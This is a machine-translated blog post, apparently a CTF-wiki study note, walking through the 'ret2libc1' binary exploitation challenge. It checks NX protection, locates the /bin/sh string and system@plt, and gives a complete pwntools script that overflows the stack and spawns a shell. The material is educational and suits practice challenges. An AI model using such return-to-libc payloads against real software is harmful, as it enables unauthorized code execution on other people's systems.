当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program 
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh

Check if there is system (segment yes plt, No extern)

/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
- 如何获取localStorage中存储的所有值
- Switching power supply buck circuit CCM and DCM working mode
- UVA11294-Wedding(2-SAT)
- 如何让同步/刷新的图标(el-icon-refresh)旋转起来
- How to design API return code (error code)?
- 14 MySQL-视图
- [EF core] mapping relationship between EF core and C data type
- 做自媒体影视短视频剪辑号,在哪儿下载素材?
- 跟着CTF-wiki学pwn——ret2libc1
- Zhongjun group launched electronic contracts to accelerate the digital development of real estate enterprises
猜你喜欢

CIS基准测试工具kube-bench使用

PADS ROUTER 使用技巧小记

"14th five year plan": emphasis on the promotion of electronic contracts, electronic signatures and other applications

Spire.PDF for NET 8.7.2

GFS distributed file system

20.移植Freetype字体库

开关电源Buck电路CCM及DCM工作模式

PV静态创建和动态创建

Research notes I software engineering and calculation volume II (Chapter 1-7)

同事悄悄告诉我,飞书通知还能这样玩
随机推荐
Idea connects to MySQL, and it is convenient to paste the URL of the configuration file directly
妙才周刊 - 8
11gR2 Database Services for " Policy" and " Administrator" Managed databases (file I
My colleagues quietly told me that flying Book notification can still play like this
Xinyuan & Lichuang EDA training camp - brushless motor drive
Tips for using pads router
Live tiktok shop 2022 latest gameplay card slot overseas live e-commerce new traffic
(4) UART application design and simulation verification 2 - RX module design (stateless machine)
698. Divided into k equal subsets ●●
98. 验证二叉搜索树 ●●
How to improve eloquence
QCombox(重写)+QCompleter(自动补全,自动加载qcombox的下拉选项,设置背景颜色)
Introduction to JVM
[day39 literature extensive reading] a Bayesian perspective on magnetic estimation
Cwaitabletimer timer, used to create timer object access
GFS分布式文件系统
Spire.PDF for NET 8.7.2
Difference between out of band and in band
Common static methods of math class
Convert Chinese into pinyin